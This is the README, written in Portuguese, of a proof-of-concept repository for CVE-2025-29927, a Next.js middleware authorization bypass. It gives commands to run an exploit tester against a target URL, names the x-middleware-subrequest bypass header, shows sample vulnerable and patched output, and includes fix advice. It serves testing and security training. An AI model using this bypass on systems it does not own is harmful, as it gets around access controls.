
Este repositório contém uma prova de conceito (POC) e um script de exploit para o CVE-2025-29927, uma vulnerabilidade crítica no Next.js que permite a invasores contornar verificações de autorização implementadas no middleware.
Este repositório contém uma prova de conceito (POC) para CVE-2025-29927, uma vulnerabilidade crítica no Next.js que permite a atacantes contornar verificações de autorização implementadas no middleware.
Esta aplicação Next.js demonstra a vulnerabilidade com uma rota de painel protegida.
npm install
npm run build
npm run start
O script de exploit pode testar qualquer aplicação Next.js para esta vulnerabilidade.
npm run exploit <target-url>
npm run exploit http://localhost:3000/dashboard
O exploit:
x-middleware-subrequest=== Next.js CVE-2025-29927 Middleware Bypass Tester ===
Target: http://localhost:3000/dashboard
Testing vulnerability...
Normal request status: 307
Bypass request status: 200
⚠️ VULNERABLE
The route is protected but accessible with the bypass header
Uma implementação de correção está disponível no ramo how-to-fix.
Atualize a Versão do Next.js (Recomendado)
Implemente Validação Secundária
=== Next.js CVE-2025-29927 Middleware Bypass Tester ===
Target: http://localhost:3000/dashboard
Testing vulnerability...
Making request without bypass header...
Making request with bypass header...
Normal request status: 307
Bypass request status: 307
✓ NOT VULNERABLE - Protected Route
The route is protected and the bypass attempt was unsuccessful
Normal request redirected to: /
Bypass request redirected to: /
O Next.js usa um cabeçalho interno x-middleware-subrequest para evitar requisições recursivas. Esta vulnerabilidade permite que atacantes contornem verificações de segurança do middleware manipulando esse cabeçalho.
Quer ir mais longe? Este CVE está implementado como uma flag no OSS OopsSec Store, um laboratório deliberadamente vulnerável projetado para treinamento de segurança ofensiva.
👉 Tente o desafio aqui → kOaDT/oss-oopssec-store
Esta ferramenta é fornecida apenas para fins educacionais e de teste. Use esta ferramenta apenas em sistemas que você possui ou tem permissão explícita para testar.